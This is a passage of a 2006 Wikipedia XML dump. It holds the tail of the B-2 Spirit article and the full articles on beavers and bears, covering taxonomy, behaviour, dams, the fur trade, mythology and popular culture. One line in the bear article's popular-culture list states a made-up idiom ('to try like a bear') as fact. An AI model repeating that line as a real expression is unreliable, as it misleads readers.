*[http://www.fas.org/nuke/guide/usa/bomber/b-2.htm FAS - B-2 Spirit - United States Nuclear Forces ]
*[http://www.af.mil/factsheets/factsheet.asp?fsID=82 Air Force Link - Fact Sheet : B-2 Spirit]

==External links==
* [http://www.whiteman.af.mil Home of America´s Bomber - The B-2 Spirit of Whiteman Air Force Base]
* [http://www.is.northropgrumman.com/products/usaf_products/b2/b2.html B-2 Spirit - Northrop Grumman]
* [http://pogo.org/m/dp/dp-2003-B2.pdf Pentagon Operational Test and Evaluation 2003 Annual Report]

== Related content ==
{{Commons|B-2 Spirit}}
{{aircontent|

|sequence=
* [[B-1 Lancer|B-1]] - '''B-2'''

&lt;!-- From which older designs was this plane developed, and what planes did it lead to? --&gt;
|related=
* [[Northrop YB-49]]

|similar aircraft=
&lt;!-- aircraft with similar role, era, and capability --&gt;
* [[F-117 Nighthawk]]

|lists=
&lt;!-- lists of similar aircraft (aircraft from the same nation, with the same mission profile, etc.) --&gt;
* [[List of bomber aircraft]]
* [[List of flying wing aircraft]]
* [[List of military aircraft of the United States]]

|see also=

}}

[[Category:Flying wing aircraft]]
[[Category:Stealth aircraft]]
[[Category:U.S. bomber aircraft 1980-1989]]

[[ar:ب 2 سبيريت]]
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[[zh:B-2幽灵隐形战略轰炸机]]</text>
    </revision>
  </page>
  <page>
    <title>Beaver</title>
    <id>4399</id>
    <revision>
      <id>41626037</id>
      <timestamp>2006-02-28T16:45:47Z</timestamp>
      <contributor>
        <username>Aranae</username>
        <id>135342</id>
      </contributor>
      <comment>rvt</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Beavers
| fossil_range = Late [[Miocene]] - Recent
| image = Beaver.jpg
| image_width = 200px
| image_caption = [[American Beaver]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Rodent]]ia
| familia = '''Castoridae'''
| familia_authority = [[Wilhelm Friedrich Hemprich|Hemprich]], 1820
| genus = '''''Castor'''''
| genus_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = [[Species]]
| subdivision = 
''[[American Beaver|C. canadensis]]''&lt;br /&gt;
''[[European Beaver|C. fiber]]''
}}

'''Beavers''' are semi-aquatic [[rodent]]s native to [[North America]] and [[Europe]].  They are the only members of the [[family (biology)|family]] '''Castoridae''', which contains a single [[genus]], '''''Castor'''''. [[genetics|Genetic]] [[research]] has shown the European and North American beaver populations to be distinct [[species]] and that [[hybrid]]ization is unlikely.

Beavers are best known for their natural trait of building [[dam]]s in [[river]]s and [[stream]]s, and building [[lodge]]s in the eventual artificial [[pond]].  They are the second largest rodents, after the [[capybara]].  
Beavers continue to grow throughout life. Adult [[specimen]]s weighing over 25 [[kilogram|kg]] (55 lb) are not uncommon.  Females are as large as, or larger than males of the same age, which is uncommon in most species.

==Species==
The [[European Beaver]] (''Castor fiber'') was hunted almost to [[extinction]] in [[Europe]], both for [[fur]], and for ''[[castoreum]]'', a [[secretion]] of its [[scent gland]] believed to have [[medicine|medicinal]] properties.  However, the beaver is now being re-introduced throughout Europe.  Several thousands live on the [[Elbe]], the [[Rhone River|Rhone]] and in parts of [[Scandinavia]].  They have been [[reintroduction|reintroduced]] in [[Bavaria]] and [[The Netherlands]] and are tending to spread to new locations.  The beaver finally became extinct in [[Great Britain]] in the [[sixteenth century]]: [[Giraldus Cambrensis]] reported in [[1188]] (''Itinerarium'' ii.iii) that it was to be found only in the [[Teifi]] in [[Wales]] and in one river in [[Scotland]], though his observations are clearly [[first hand]]. 

In [[October]] [[2005]], six European beavers were re-introduced to Britain in Lower Mill Estate in [[Gloucestershire]], and there are plans for re-introductions in [[Scotland]] and [[Wales]].[http://www.msn.co.uk/htx/returnofthebeaver/]

The [[American Beaver]] (''C. canadensis'') is the [[List of national animals|national animal]] of [[Canada]]; in fact, it is depicted on the [[Nickel (Canadian coin)|Canadian five-cent piece]] and was on the first Canadian [[postage stamp]], the Three Penny Beaver. However, in several areas of that country, it is considered a [[pest (animal)|pest]]. The American Beaver is also the state animal of [[Oregon]], the [[List of U.S. state mammals|state mammal]] of [[New York]] (after the historical emblem of [[New Netherland]]) and the mascot of [[Oregon State University]]. It is also a common school emblem for [[engineering]] schools, including the [[California Institute of Technology]] and the [[Massachusetts Institute of Technology]]. It is also an emblem for [[London School of Economics]] and the name of its student newspaper - [[The Beaver]].

The extinct North American [[Giant beaver]] (''Castoroides ohioensis'') was one of largest rodents that ever [[evolution|evolved]]. It disappeared, with other large mammals in the [[Holocene extinction event]], about 10,000 years ago.

==Dams==
[[Image:Biber-Brahe.jpg|thumb|Beaver tree]]
The dams are created both as a protection against predators, e.g., coyotes, wolves and bears, and to provide easy access to food during winter. It is both the sound of water in motion and the current that stimulates the beavers to build. If for example a pipe is placed under the dam to drain it the beavers may stuff it with a tree trunk unless the pipe inlet is protected with a large cage-like filter. They  may repair any damage to the dam and build it higher as long as the sound is there, however, in times of high water, they often allow spillways in the dam to flow freely. Conversely, beavers will attempt to build dams in response to recordings of water flowing even in the absence of water.

The ponds created by well-maintained dams help isolate the beavers' home, their ''lodge'', also created from severed branches and mud. The lodge has underwater entrances to make entry nearly impossible for any other animal (however, [[musk rat|muskrats]] have been seen living inside beaver lodges with the beavers who made it).

Destroying a beaver dam without removing the beavers takes a lot of effort, especially if the dam is downstream of an active lodge. Beavers can rebuild such primary dams overnight, but may not defend secondary dams as vigorously.

Recent studies involving beaver habitual activities have indicated that beavers may respond to a array of stimuli, not just the sound of running water. In two experiments Wilson (1971) and Richard (1967, 1980) demonstrate that although beavers will pile material close to a loudspeaker emitting sounds of water running, they only do so after a considerable period of time. Additionally the beavers, when faced with a pipe allowing water to pass through their dam, eventually stopped the flow of water by plugging the pipe with mud and sticks. The beavers were observed to do this even when the pipe extended several meters upstream and near the bottom of the stream and thus produced no sound of running water.

Beaver dams can be disruptive; the flooding can cause extensive property damage, and when the flooding occurs next to a railroad roadbed, it can cause derailments by washing-out under the tracks, or when a beaver dam bursts and the resulting flash flood overwhelms a culvert.

Yet dam building activity restores wetlands, the land's most beneficial ecosystem.  Such wetland benefits include flood control downstream, biodiversity (by providing habitat for many rare as well as common species), and water cleansing, both by the breakdown of toxins such as pesticides and the retention of silt by beaver dams. The latter also reduces erosion as well as decreasing turbidity that is the limiting factor for aquatic life.

When objectionable beaver flooding occurs, modern water level control devices can be installed for a cost-effective and environmentally sound solution (www.BeaversWW.org).

==Danger signal==
When startled or frightened, a swimming beaver will rapidly dive while forcefully slapping the water with its broad tail.  This creates a loud 'slap', audible over large distances above and below water.  This noise serves as a warning to other beavers in the area.  Once a beaver has made this danger signal, all nearby beavers will dive and may not reemerge for some time.

==Fur trade==
Beaver pelts were used as [[barter]] by [[Indigenous peoples of the Americas|Native Americans]] in the [[17th century]] to gain [[Europe|European]] goods. They were then shipped back to [[Great Britain]] and [[France]] where they were made into clothing items. Widespread hunting and trapping of beavers lead to their endangerment. Eventually, the [[fur trade]] fell apart due to declining demand in Europe and the take over of trapping grounds to support the growing agriculture sector.

==Popular culture==
Popular western culture typically depicts the animal positively, as a good natured and industrious character such as Mr. and Mrs. Beaver who are important heroic characters in the classic [[fantasy novel]], ''[[The Lion, the Witch and the Wardrobe]]''.  Since the animal is a [[national symbol]] of [[Canada]], the animal is a favourite choice for depicting Canadians as furry characters and was chosen to be the [[mascot]] of [[1976 Summer Olympics ]] held in [[Montreal]] with the name &quot;Amik&quot; (&quot;friend&quot; in [[Algonquin language|Algonquin]]). The beaver's habits, habitat and conservation status (as of 1908) are recurring themes in ''[[The Tent Dwellers]]'', by [[Albert Bigelow Paine]].  Due to their engineering capabilities, they also serve as the mascots of the [[Massachusetts Institute of Technology]] and the [[California Institute of Technology]].

==[[1911 encyclopedia]] text==
'''Beaver''', the largest European aquatic representative of the mammalian order RODENTIA, easily recognized by its large trowel-like, scaly tail, which is expanded in the horizontal direction. 

The word is descended from the Aryan name of the animal, cf. Sanskrit ''babhru's,'' brown, the great ichneumon, Lat. ''fiber,'' Ger. ''Biber,'' Swed. ''bäver,'' Russ. ''bobr';'' the root ''bhru'' has given &quot;brown,&quot; and, through Romanic, &quot;bronze&quot; and &quot;burnish.&quot;

The true beaver (''Castor fiber'') is a native of Europe and northern Asia, but it is represented in North America by a closely-allied species (''C. canadensis''), chiefly distinguished by the form of the nasal bones of the skull. 
[[Image:Beaver dam in Yellowstone.jpg|thumb|left|250px|[[Yellowstone National Park]].]]
Beavers are nearly allied to the [[squirrel]]s (Sciuridae), agreeing in certain structural peculiarities of the lower jaw and skull. In the Sciuridae the two main bones (tibia and fibula) of the lower half of the leg are quite separate, the tail is round and hairy, and the habits are arboreal and terrestrial. In the beavers or Castoridae these bones are in close contact at their lower ends, the tail is depressed, expanded and scaly, and the habits are aquatic. 

[[Image:Beaver dam in Tierra del Fuego.jpg|thumb|250px|[[Tierra del Fuego]].]]

Beavers have webbed hind-feet, and the claw of the second hind-toe double. They have poor eyesight, but a keen sense of hearing, smell, and touch.

In length beavers--European and American--measure about 2 ft. exclusive of the tail, which is about 10 inches long. They are covered with a fur to which they owe their chief commercial value; this consists of two kinds of hair--the one close-set, silky and of a greyish colour, the other much coarser and longer, and of a reddish brown. 

Beavers are essentially aquatic in their habits, never travelling by land unless driven by necessity. Formerly common in England, the European beaver has 
not only been exterminated there, but likewise in most of the countries of the continent, although a few remain on the [[Elbe]], the [[Rhone River|Rhone]] and in parts of Scandinavia. The American species 
is also greatly diminished in numbers from incessant pursuit for the sake of its valuable fur. 

Beavers are sociable animals, living in streams, where, so as to render the water of sufficient depth, they build dams of mud and of the stems and boughs of trees felled by their powerful incisor teeth. In the neighbourhood they make their &quot;lodges,&quot; which are roomy chambers, with the entrance beneath the water. The mud is plastered down by the fore-feet, and not, as often supposed, by the tail, which is employed solely as a rudder. 

They are mainly nocturnal, and subsist chiefly on bark and twigs or the roots of water plants. 

[[image:Beaver_dam_in_Fossil_Butte_NM-750px.JPG|thumb|left|250px|[[Fossil Butte National Monument]].]]

[[Image:Peche_2005-07-19_039.jpg|thumb|250px|A beaver lodge north of [[Saguenay, Quebec]].]]

The dam differs in shape according to the nature of particular localities. Where the water has little motion it is almost straight; where the current is considerable it is curved, with its convexity towards the stream. The materials made use of are [[driftwood]], [[willow|green willow]]s, [[birch]] and poplars; also mud and stones intermixed in such a manner as contributes to the strength of the dam; but there is no particular method observed, except that the work is carried on with a regular sweep, and that all the parts are made of equal strength.

&quot;In places,&quot; writes Hearne, &quot;which have been long frequented by beavers undisturbed, their dams, by frequent repairing, become a solid bank, capable of resisting a great force both of ice and water; and as the willow, poplar and birch generally take root and shoot up, they by degrees form a kind of regular planted hedge, which I have seen in some places so tall that birds have built their nests among the branches.&quot;

Their houses are formed of the same materials as the dams, with little order or regularity of structure, and seldom contain more than four old, and six or eight young beavers. It not unfrequently happens that some of the larger houses have one or more partitions, but these are only posts of the main building left by the builders to support the roof, for the apartments have usually no communication with each other except by water. 

[[Image:BeaverDam 8409.jpg|thumb|right|300px|[[Lassen Volcanic National Park]].]]

The beavers carry the mud and stones with their fore-paws and the timber between their teeth. They always work in the night and with great expedition. They cover their houses late every autumn with fresh mud, which, freezing when the frost sets in, becomes almost as hard as stone, so that neither [[wolf|wolves]] nor [[wolverine]]s can disturb their repose.

The favourite food of the American beaver is the [[water-lily]] (''Nuphar luteum''), which bears a resemblance to a [[cabbage]]-stalk, and grows at the bottom of lakes and rivers. Beavers also gnaw the bark of [[birch]], [[poplar]] and [[willow]] trees; but during the summer a more varied herbage, with the addition of berries, is consumed. 

When the ice breaks up in spring they always leave their embankments, and rove about until a little before the fall of the leaf, when they return to their old habitations, and lay in their winter stock of wood. They seldom begin to repair the houses till the frost sets in, and never finish the outer coating till the cold becomes severe. When they erect a new habitation they fell the wood early in summer, but seldom begin building till towards the end of August.

Castoreum is a substance contained in two pear-shaped pouches situated near the organs of reproduction, of a bitter taste and slightly foetid odour, at one time largely employed as a medicine, but now used only in [[perfume|perfumery]].

Fossil remains of beavers are found in the peat and other superficial deposits of England and the continent of Europe; while in the [[Pleistocene]] formations of England and Siberia occur remains of a giant extinct beaver, ''Trogontherium cuvieri'', representing a genus by itself.

==Reference==
*[http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=180211 ITIS 180211] 2002-12-14

== External links ==
* [http://www.BeaversWW.org Beavers: Wetlands &amp; Wildlife website]
* [http://www.cgkids.ca/cgkids/animal/2005_01_beaver.asp Animal fact sheets] [[Canadian Geographic]] Kids
* [http://www.pch.gc.ca/progs/cpsc-ccsp/sc-cs/o1_e.cfm Canadian Heritage - the beaver as a national symbol]
* [http://www.scotsbeavers.org A website about reintroducing the beaver to Scotland]
* [http://purl.galileo.usg.edu/ugafax/QL737xR6xD84 The romance of the beaver;] being the history of the beaver in the western hemisphere, by A. Radclyffe Dugmore. Illustrated with photographs from life and drawings by the author. Publisher: Philadelphia, J.B. Lippincott company; London, W. Heinemann [[1914]] ''(a searchable facsimile at the University of Georgia Libraries)'' 
{{1911}}

[[Category:Beavers]]
[[Category:Fur trade]]

[[ar:قندس]]
[[bg:Бобри]]
[[da:Bæver]]
[[de:Biber]]
[[et:Kobras]]
[[es:Castor]]
[[eo:Kastoro]]
[[fr:Castor (animal)]]
[[ko:비버]]
[[he:בונה (בעל חיים)]]
[[lt:Bebriniai]]
[[nl:Bevers]]
[[ja:ビーバー]]
[[no:Bever]]
[[pl:Bóbr (zwierzę)]]
[[pt:Castor]]
[[ru:Бобровые]]
[[fi:Majavat]]
[[sv:Bävrar]]
[[tr:Kunduz]]
[[uk:Бобер]]</text>
    </revision>
  </page>
  <page>
    <title>Bear</title>
    <id>4400</id>
    <revision>
      <id>42055453</id>
      <timestamp>2006-03-03T14:19:54Z</timestamp>
      <contributor>
        <username>SundarBot</username>
        <id>648410</id>
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      <minor />
      <comment>robot  Adding: ta</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Bear
| image = Kodiak_Brown_Bear.jpg
| image_width = 240px
| image_caption = ''Kodiak [[Brown Bear]]''
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Carnivora]]
| familia = '''Ursidae'''
| familia_authority = [[Johann Fischer von Waldheim|G. Fischer de Waldheim]], 1817
| subdivision_ranks = Genera
| subdivision = 
''[[Ailuropoda]]''&lt;br /&gt;
''[[Ursus (biology)|Ursus]]''&lt;br /&gt;
''[[Tremarctos]]''&lt;br /&gt;
''[[Arctodus]]'' (extinct)
}}

A '''bear''' is a large [[mammal]] of the order [[Carnivore|Carnivora]], family '''Ursidae'''. The adjective, ''ursine'', is used to describe things of bearlike nature.

==Physical attributes==
Common characteristics of bears include a short tail, excellent senses of smell and hearing, five un-retractable claws, and long, dense, shaggy fur.

Bears have a large body with powerful limbs. They are capable of standing up on their hind legs. They have broad paws, long snouts, and round ears. Their teeth are used for defense and tools and depend on the diet of the bear. Their claws are used for ripping, digging, and catching. A bear's eyesight is probably similar in acuity (sharpness) to the human eye. [[Black bear]]s, and likely other bears, have color vision to help them identify fruits and nuts. 

Depending on the species, bears can have 32 to 42 teeth. Bear teeth are not specialized for killing their prey like those of cats. Normal canine teeth in a carnivore are generally large and pointed used for killing prey, while bears' canine teeth are relatively small and typically used in defense or as tools. Bears' molar teeth are broad, flat and are used to shred and grind plant food into small digestable pieces. 

Bears have four limbs that end in paws. Each paw has five long, sharp claws that are unretractible, unlike cats. These claws can be used to climb trees, rip open termite nests and beehives, dig up roots, or catch prey, depending on the species. While most carnivores tend to walk on their toes in a way that is adapted for speed, bears have a plantigrade stance. They walk with their weight on the soles of their hindfeet, with the heel touching the ground, while the toes of the forefeet are used more for balance. Although slower than most carnivores, a running bear can reach speeds of up to 50 km/h (30 mph). They are also stronger than most carnivores and their limbs are more flexible and agile. 

A bear's fur is long and shaggy. Fur color varies among species, ranging from white, blonde or cream, to black, and white to all black or all brown. Colors of a bear's fur can also vary within species. For example, American black bears may be black, brown, reddish-brown, or bluish-black. Several species, such as the [[sun bear]] and [[spectacled bear]] have a light-colored chest with facial markings.

In all bear species, males are larger than females, but the difference between sexes varies and is greatest in the largest species. Large male [[polar bear]]s may weigh twice as much as females, while smaller male and female bears are much more similar in weight. A bear's life span seems to last about 25 to 40 years. Bears living in the wild tend to die younger than their zoo-counterparts.

==Habitats==
Bears live in a variety of habitats from the tropics to the [[Arctic]] and from [[forest]]s to snowfields. They are mainly [[omnivore|omnivorous]], although some have a more specialised diet, such as polar bears. They eat lichens, roots, nuts, and berries. They can also go to a [[river]] or other body of water to capture fish. Bears will commonly travel far for food. Hunting times are usually in the dusk or the dawn except when humans are nearby.	 
		 
Some of the large species, such as the [[polar bear]] and the [[grizzly bear]], are dangerous to humans, especially in areas where they have become used to people. For the most part, bears are shy and are easily frightened of humans. They will, however, defend their cubs ferociously.

==Behavior== 
Bears mostly live alone, except for mothers and their cubs, or males and females during mating season. Bears form temporary groups only when food is plentiful in a small area. [[Alaskan brown bear]]s group in the same area to feed on [[salmon]] during the annual salmon runs, when the fish swim upriver to reach their spawning grounds. [[Giant panda]]s may also form small social groups, based on recent evidence, perhaps because [[bamboo]] is more concentrated than the patchy food resources of other bear species. Other bears may live alone but exist in a social network. A male and female may live in an overlapping home range, each defending their range from other bears of the same sex. Male young usually leave their mothers to live in other areas, but females often live in an area that overlaps that of their mother. 

Bears travel over large territories in search of food, remembering the details of the landscape they cover. They use their excellent memories to return to locations where food was plentiful in past years or seasons. Most bears are able to climb trees to chase prey or gain access to additional vegetation. The only exceptions are polar bears and large adult [[brown bear]]s, whose heavy weight makes it difficult to climb trees. 

===Reproductive behavior===
The bear's courtship period is very brief. Bears reproduce seasonally, usually after a period of inactivity similar to hibernation. Cubs come out toothless, blind, and bald. The cubs, usually born in litters of 1–3, will stay with the mother for six months. They will be fed by milk at first and will start hunting with the mother in three months. Then, they are weaned. However, they will still remain nearby for three years. The cubs reach sexual maturity at seven years. Normally, bears are very solitary and will not remain close together for long periods of time.

==Other==
Many bears of northern regions are assumed to [[Hibernation|hibernate]] in the winter. While many bear species do go into a physiological state called hibernation or winter sleep, it is not true hibernation. In true hibernators, body temperatures drop to near ambient and heart rate slows drastically, but they periodically rouse themselves to urinate or defecate and eat from stored food. The body temperature of bears, on the other hand, drops only a few degrees from normal and heart rate slows slightly. They do not wake normally during 'hibernation' therefore do not eat, drink, urinate or defecate the entire period.  Higher body heat and being easily roused may be adaptations because female bears bear cubs during this winter sleep.

Laws have been passed in many areas of the world to protect bears from hunters or [[habitat destruction]]. Bears in captivity used to be trained to dance, box, or [[unicycle]], but it is now controversial to use animals in this way.

The Brown Bear is [[Finland]]'s national animal.

[[Kodiak Bear]]s are the largest type of bear ([[Polar Bear]]s are the heaviest though), indeed one of the largest extant carnivores. [[Sun Bear]]s are the smallest, only a bit smaller than the average person.

==Classification==
* '''Family Ursidae'''
** '''Subfamily Ailuropodinae'''
*** [[Giant Panda]], ''Ailuropoda melanoleuca''
*** Dwarf Panda, ''Ailuropoda minor'' (extinct)
** '''Subfamily Tremarctinae'''
*** [[Spectacled Bear]], ''Tremarctos ornatus''
*** [[Florida Cave Bear]], ''Tremarctos floridanus'' (extinct)
*** [[Arctodus|Giant Short-Faced Bear]], ''Arctodus simus'' (extinct)
*** [[Arctodus|Short-Faced Bear]], ''Arctodus pristinus'' (extinct)
*** [[Brazilian Short-Faced Bear]], ''Arctotherium brasilense'' (extinct)
*** [[Argentine Short-Faced Bear]], ''Arctotherium latidens'' (extinct)
**'''Subfamily Ursinae'''
*** [[Brown Bear]], ''Ursus arctos''
****[[Subspecies]] [[Syrian (Brown) Bear]] (''Ursus arctos syriacus'')
****[[Subspecies]] [[Grizzly Bear]], (''Ursus arctos horribilis'')
****[[Subspecies]] [[Kodiak Bear]], (''Ursus arctos middendorffi'')
****[[Subspecies]] [[Himalayan Brown Bear]], (''Ursus arctos isabellinus'')
*** [[American Black Bear]], ''Ursus americanus''
*** [[Polar Bear]], ''Ursus maritimus''
*** [[Asiatic Black Bear]], ''Ursus thibetanus''
**** ''Ursus thibetanus formosanus'' 
**** ''Ursus thibetanus gedrosianus'' 
**** ''Ursus thibetanus japonica'' 
**** ''Ursus thibetanus laniger'' 
**** ''Ursus thibetanus mupinensis'' 
**** ''Ursus thibetanus thibetanus'' 
**** ''Ursus thibetanus ussuricu''  
*** [[Auvergne Bear]], ''Ursus minimus'' (extinct)
*** [[Etruscan Bear]], ''Ursus etruscus'' (extinct)
*** [[Cave Bear|European Cave Bear]], ''Ursus spelaeus'' (extinct)
*** [[Atlas Bear]], ''Ursus crowtheri'' (extinct)
*** [[Sloth Bear]], ''Melursus (Ursus) ursinus''
****[[Subspecies]] [[Sri Lankan Sloth Bear]] (''Melursus (Ursus) ursinus inornatus'')
****[[Subspecies]] [[Indian Sloth Bear]] (''Melursus (Ursus) ursinus ursinus'')
*** [[Sun Bear]], ''Helarctos malayanus''
****[[Subspecies]] [[Borneo Sun Bear]] (''Helarctos (Ursus) malayanus euryspilus'')

The genera ''Melursus'' and ''Helarctos'' are  included in the genus ''Ursus''. The Asiatic Black Bear and the Polar Bear used to be placed in their own genera, ''Selenarctos'' and ''Thalarctos''.

A number of hybrids have been bred between American Black, Brown and Polar Bears (see [[Ursinae hybrid]]s).

==Evolutionary relationships==
Bears are members of the order [[Carnivore|Carnivora]], suborder [[Caniformia]], and family [[Ursidae]]. Other members of the [[Caniformia]] include wolves and other dog-like mammals (family [[Canidae]]), weasels, skunks, and badgers (family [[Mustelidae]]), raccoons (family [[Procyonidae]]), and walruses (family [[Odobenidae]]), seals (family [[Phocidae]]), and sea lions (family [[Otariidae]]). Although bears are often described as having evolved from a dog-like ancestor, their closest living relatives are the [[pinnipeds]] (walruses, seals, and sea lions).

The origins of the bears can be traced back to the raccoon-sized, dog-like ''[[Cephalogale]]'' from the middle [[Oligocene]] and early [[Miocene]] (approximately 20-30 million years ago) of Europe. ''Cephalogale'' gave rise to a lineage of early bears, the genus ''[[Ursavus]]''. This genus radiated in Asia and ultimately gave rise to the first true bears (genus ''Ursus'') in Europe, 5 million years ago. Extinct bear genera include ''[[Arctodus]]'', ''[[Agriarctos]]'', ''[[Agriotherium]]'', ''[[Plionarctos]]'' and ''[[Indarctos]]''.

Although there has previously been much discussion as to whether the [[Giant Panda]] belongs to the bear family or the [[raccoon]] family, recent [[DNA]] analyses have shown that the Giant Panda is a member of the Family [[Ursidae]] and as such is more closely related to other bears. The status of the [[Red Panda]] remains uncertain, but many experts, including [[Don E. Wilson|Wilson]] and [[DeeAnn M. Reeder|Reeder]], classify it as a member of the bear family. Others place it with the racoons in [[Procyonidae]] or in its own family, the [[Ailuridae]]. The many similarities between the two pandas are thought to represent [[convergent evolution]] for feeding primarily on bamboo.

There is also evidence that, unlike their neighbors elsewhere, the [[Brown Bears]] of Alaska's [[ABC Islands]] are more closely related to [[Polar Bears]] than they are to other Brown Bears in the world. Researchers Gerald Shields and Sandra Talbot of the [[University of Alaska]] Fairbanks Institute of Arctic [[Biology]] studied the [[DNA]] of several samples of the species and found that their DNA is different from that of other Brown Bears. The researchers discovered that their DNA was unique compared to Brown Bears anywhere else in the world. The discovery has shown that while all other Brown Bears share a Brown Bear as their closest relative, those of Alaska's ABC Islands differ and share their closest relation with the Polar Bear.

==Bears in mythology==
[[Image:Coabxvi.png|thumb|The saddled &quot;bear of St [[Corbinian]]&quot; the emblem of [[Freising]], here incorporated in the arms of [[Pope Benedict XVI]]]]
There is some evidence for prehistoric bear [[worship]], see [[Arctic]], [[Arcturus]], [[Great Bear]], [[Berserker]], [[Kalevala]]. Anthropologists such as [[Joseph Campbell]] have regarded this as a common feature in most of the [[fishing]] and [[hunting]]-[[tribe]]s. The prehistoric Finns, along with most finno-ugric peoples, considered the bear as the spirit of one's forefathers. This is why the bear was a greatly respected animal, with several euphemistic names. There has been evidence about early bear worship in China and among the [[Ainu people|Ainu]] culture as well. 

In addition, the [[Proto-Indo-European language|Proto-Indo-European]] word for bear, ''*hr̥ktos'' (ancestral to the Greek ''arktos'', Latin ''ursus'', Welsh ''arth'' (c.f. [[Arthur]]), Sanskrit ''*ṛkṣa'', Hittite ''hartagga'') seems to have been subject to [[taboo deformation]] or replacement (as was the word for [[wolf]], ''wlk&lt;sup&gt;w&lt;/sup&gt;os''), resulting in the use of numerous unrelated words with meanings like &quot;brown one&quot; (English ''bruin'') and &quot;honey-eater&quot; (Slavic ''medved''). Thus four separate Indo-European language groups do not share the same PIE root. In the Finnish countryside, the word for &quot;bear&quot; remains taboo to this day. The theory of the bear taboo is taught to almost all beginning students of Indo-European and historical linguistics; the putative original PIE word for bear is itself descriptive, because a cognate word in Sanskrit is ''rakshas'', meaning &quot;harm, injury&quot; [http://www.cloudline.org/LinguisticArchaeology.html].

Numerous cities around the world have adopted the bear as a symbol, notably the [[Switzerland|Swiss]] capital [[Bern]], which takes its name from the [[German language|German]] for bear, ''bär''.  The bear is also the name-emblem of [[Berlin]].  Bears are a common symbol of [[heraldry]] (e.g. [[Rawa Coat of Arms]], [[Bernhardt coat of arms]]). In the arms of the bishopric of Freising (''illustration, right'') the bear is the dangerous totem animal tamed by Saint [[Corbinian]] and made to carry his civilized baggage over the mountains: the allegory of the civilizing influence of Christianity is inescapable.  A bear also features prominently in the legend of Saint [[Romedius]], who is also said to have tamed one of these animals and had the same bear carry him from his hermitage in the mountains to the city of [[Trento]].

==Bears in popular culture==
Bears, usually anthropomorphized, appear frequently as characters in popular culture; see [[List of fictional bears]].

*Some [[List of historical bears|bears]] have been famous in their own right, like the bear that [[President of the United States|U.S. president]] [[Theodore Roosevelt|Theodore &quot;Teddy&quot; Roosevelt]] refused to shoot in [[Mississippi]]. That bear became the prototype for the [[Teddy bear]], which is a [[stuffed animal]] [[toy]].

*In the [[stock market]], a ''[[bear market]]'' is a period of declining prices. Pessimistic forecasting or negative activity is said to be ''bearish'' (due to the stereotypical posture of bears looking downwards), and one who expresses bearish sentiment is a ''bear''. Its opposite is a ''bull market'', and ''bullish'' sentiment from ''bulls''.

*Many cultures regard bears as possessing healing powers. The peoples of [[China]], [[Japan]] and [[Korea]] use bears' body parts and secretions (notably their [[gall bladder]]s and [[bile]]) as part of [[traditional Chinese medicine]]. This has had a major impact on populations of bears around the world. Thousands of bears are farmed for their bile in China, Vietnam and Korea. They are kept in appalling conditions and usually have bile drained from their gall bladders using catheters inserted into their abdomen or with [[hypodermic]] needles. There is no evidence to suggest that farming bears has reduced pressures on wild bear populations. Indeed the farming of bears in China has led to a huge increase in consumption of bear bile since the 1980's with many people prepared to pay very high prices for the 'superior' bile of a wild bear.

*The bear, the [[Brown bear|bruin]], or specific types of bears are popular [[nickname]]s or [[mascot]]s, e.g. for sports teams; and a bear cub was [[mascot]] of the [[1980 Summer Olympics]].

*The [[constellation]]s [[Ursa Major]] and [[Ursa Minor]] represent bears.

*The bear is a common national symbol for [[Russia]] (and the [[Soviet Union]]), as used in the Ronald Reagan political ad &quot;[[Bear in the woods]].&quot;

*In [[CB slang]], &quot;bear&quot; (or &quot;smokey&quot;, in reference to [[Smokey Bear]]) is a nickname for [[highway patrol]].

*In homosexual slang, the term &quot;Bear&quot; refers to male individuals who possess physical attributes much like a bear, such as a heavy build, abundant body hair, and commonly facial hair.

*[[Microsoft Bear]] is an unofficial [[mascot]] hidden in [[Windows 3.1]] and [[Windows 95]].

*[[Stephen Colbert]] frequently attacks bears as &quot;godless killing machines&quot; mobilized against humanity on ''[[The Colbert Report]]''.

*To try like a bear means to try your hardest to catch the attention of a certain lady.  The harder you try, the better the bear you are.

==Further reading==
{{sisterlinks|bear}}
{{Wikibookspar|Dichotomous Key|Ursidae}}
*&lt;cite&gt;Bears of the World&lt;/cite&gt;, Terry Domico, Photographs by Terry Domico and Mark Newman, Facts on File, Inc, 1988, hardcover, ISBN 0816015368
*''The Bear'' by [[William Faulkner]]

==See also==
*[[Animal]]
*[[List of mammals]]
*[[Mammal]]
*[[Mammal classification]]
*&quot;[[Bear in the woods|Bear]]&quot;, famous Ronald Reagan campaign ad

==External links==
*[http://www.cloudline.org/LinguisticArchaeology.html Chuck Bigelow, note on PIE roots signifying &quot;bear&quot;]
*[http://www.iberianature.com/material/spainbearnews.htm Spanish bear news] regularly-updated news archive on bears in Spain
*[http://www.gi.alaska.edu/ScienceForum/ASF13/1314.html The Brown Bear: Father of the Polar Bear?] Alaska Science Forum Article #1314
*[http://www.wildanimalsonline.com/mammals/brownbear-grizzly.php Brown Bear (Ursus arctos) facts and photos] - Wild Animals Online encyclopedia
*[http://www.pbs.org/wgbh/nova/satoyama/hibernation.html] - Facts about Black Bear hibernation

 
[[Category:Bears| ]]
&lt;!-- The below are interlanguage links. --&gt;

&lt;!--[[en:bear]]--&gt;

[[an:Onso]]
[[ast:Osu]]
[[bg:Мечкови]]
[[zh-min-nan:Hîm]]
[[ca:Ós]]
[[cs:Medvědovití]]
[[cy:Arth]]
[[da:Bjørne]]
[[de:Bären]]
[[el:Αρκούδα]]
[[es:Ursidae]]
[[eo:Urso]]
[[fr:Ursidae]]
[[ko:곰]]
[[io:Urso]]
[[id:Beruang]]
[[it:Ursidae]]
[[he:דוביים]]
[[la:Ursidae]]
[[lv:Lācis]]
[[lt:Lokiniai]]
[[li:Bere]]
[[ms:Beruang]]
[[nl:Beren]]
[[ja:クマ]]
[[no:Bjørnefamilien]]
[[nn:Bjørn]]
[[pl:Niedźwiedziowate]]
[[pt:Ursidae]]
[[ru:Медвежьи]]
[[scn:Ursidae]]
[[simple:Bear]]
[[sr:Медвед]]
[[fi:Karhut]]
[[sv:Björn]]
[[ta:கரடி]]
[[th:หมี]]
